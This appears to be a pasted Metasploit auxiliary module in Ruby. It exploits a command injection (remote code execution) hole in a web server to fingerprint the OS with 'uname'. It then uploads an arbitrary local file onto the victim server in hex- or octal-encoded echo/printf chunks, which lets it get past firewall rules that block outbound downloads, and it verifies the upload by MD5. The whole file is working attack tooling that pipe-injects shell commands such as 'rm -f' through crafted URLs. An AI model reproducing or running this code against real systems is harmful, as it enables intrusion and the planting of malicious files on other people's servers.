· 9 years ago · Jan 09, 2017, 12:40 AM
1##
2# $Id: perlpipe_rce_to_file_osdetect.rb 13018 2011-06-24 14:43:59Z oxagast $
3##
4
5##
6# This file is part of the Metasploit Framework and may be subject to
7# redistribution and commercial restrictions. Please see the Metasploit
8# Framework web site for more information on licensing and terms of use.
9# http://metasploit.com/framework/
10##
11
12
13require 'msf/core'
14require 'net/http'
15require 'uri'
16require 'digest/md5'
17
18class Metasploit3 < Msf::Auxiliary
19 include Msf::Auxiliary::Report
20 def initialize(info = {})
21 super(update_info(info,
22 'Name' => 'Uses RCE on a webserver to upload files',
23 'Description' => %q{
24 This module pushes data into a file with webserver RCE bugs that block downloading
25 from external sources due to firewall rules.
26 },
27 'Author' => [ 'Marshall Whittaker <oxagast [at] gmail.com>' ],
28 'License' => MSF_LICENSE,
29 'Version' => '$Revision: 13581 $'
30 ))
31 register_options(
32 [
33 OptString.new('DOMAIN', [ true, "The domain"]),
34 OptString.new('REMOTEFILE', [ true, "Where to output the file on the remote server"]),
35 OptString.new('LOCALFILE', [ true, "Location of the file you wish to send"]),
36 OptString.new('FIRSTPART', [ true, "First part of the url"]),
37 OptString.new('LASTPART', [ false, "Last part of the url"]),
38 ], self.class)
39
40 register_advanced_options(
41 [
42 OptString.new('PROXY', [ false, "Proxy server to route connection. <host>:<port>",nil]),
43 OptString.new('PROXY_USER', [ false, "Proxy Server User",nil]),
44 OptString.new('PROXY_PASS', [ false, "Proxy Server Password",nil])
45 ], self.class)
46
47 end
48
49 def run
50 if datastore['PROXY']
51 @proxysrv,@proxyport = datastore['PROXY'].split(":")
52 @proxyuser = datastore['PROXY_USER']
53 @proxypass = datastore['PROXY_PASS']
54 else
55 @proxysrv,@proxyport = nil, nil
56 end
57
58
59
60 chunksize = 1
61 part2 = ""
62 hexxydots = (chunksize * 5)
63 thisurl = datastore['DOMAIN']
64 localfilepath = datastore['LOCALFILE']
65 remotefilepath = datastore['REMOTEFILE']
66 part1 = datastore['FIRSTPART']
67 part2 = datastore['LASTPART']
68 thefile = open(localfilepath, "rb") {|io| io.read}
69 md5checksum = Digest::MD5.hexdigest(thefile)
70 url = URI.parse(thisurl)
71 oschecker = Net::HTTP.start(url.host, url.port) {|http| http.get(URI.encode("#{part1}|uname|#{part2}"))}
72
73 if oschecker.body =~ /Linux/
74 oscheck = 0
75 end
76 if oschecker.body =~ /BSD/
77 oscheck = 1
78 end
79 if oschecker.body =~ /Solaris/
80 oscheck = 2
81 end
82 if oschecker.body =~ /SunOS/
83 oscheck = 2
84 end
85
86 if oscheck == 0
87 print_status "Detected OS : Linux"
88 hexer = (thefile.unpack('H2'*thefile.length).collect {|val| "\\\\x" + val}).join
89 hexxy = hexer.scan(/.{#{hexxydots}}/)
90 inchunks = hexxy.each_slice(chunksize).to_a
91 url1 = URI.parse(thisurl)
92 print_status "Trying to remove remote file"
93 Net::HTTP.start(url1.host, url1.port) {|http| http.get(URI.encode("#{part1}|rm -f #{remotefilepath}|#{part2}"))}
94 print_status "Sending file #{localfilepath}"
95 for i in 0..inchunks.length - 1
96 toecho = "#{part1}|echo -n -e \"#{inchunks[i].join}\" >> #{remotefilepath}|#{part2}"
97 url = URI.parse(thisurl)
98 Net::HTTP.start(url.host, url.port) {|http| http.get(URI.encode(toecho))}
99 end
100 checkedsum = Net::HTTP.start(url.host, url.port) {|http| http.get(URI.encode("#{part1}|md5sum #{remotefilepath}|#{part2}"))}
101 if checkedsum.body =~ /#{Regexp.escape(md5checksum)}/
102 print_status "MD5 checksum matches"
103 end
104 end
105
106 if oscheck == 1
107 print_status "Detected OS : BSD"
108 hexer = (thefile.unpack('H2'*thefile.length)).collect {|hexstuff| "0x" + hexstuff.to_s}
109 octal=[]
110 for hexroll in 0..hexer.length - 1
111 octalstr = "\\0%o" % hexer[hexroll]
112 octal.push(octalstr)
113 end
114 url1 = URI.parse(thisurl)
115 print_status "Trying to remove remote file"
116 Net::HTTP.start(url1.host, url1.port) {|http| http.get(URI.encode("#{part1}|rm -f #{remotefilepath}|#{part2}"))}
117 print_status "Sending file #{localfilepath}"
118 for i in 0..octal.length - 1
119 toecho = "#{part1}|printf \"#{octal[i]}\" >> #{remotefilepath}|#{part2}"
120 url = URI.parse(thisurl)
121 Net::HTTP.start(url.host, url.port) {|http| http.get(URI.encode(toecho))}
122 end
123 end
124
125 if oscheck == 2
126 print_status "Detected OS : SunOS/Solaris"
127 hexer = (thefile.unpack('H2'*thefile.length)).collect {|hexstuff| "0x" + hexstuff.to_s}
128 octal=[]
129 for hexroll in 0..hexer.length - 1
130 octalstr = "\\%04o" % hexer[hexroll]
131 octal.push(octalstr)
132 end
133 url1 = URI.parse(thisurl)
134 print_status "Trying to remove remote file"
135 Net::HTTP.start(url1.host, url1.port) {|http| http.get(URI.encode("#{part1}|rm -f #{remotefilepath}|#{part2}"))}
136 print_status "Sending file #{localfilepath}"
137 for i in 0..octal.length - 1
138 toecho = "#{part1}|echo \"#{octal[i]}\\c\" >> #{remotefilepath}|#{part2}"
139 url = URI.parse(thisurl)
140 Net::HTTP.start(url.host, url.port) {|http| http.get(URI.encode(toecho))}
141 end
142 end
143
144 end
145end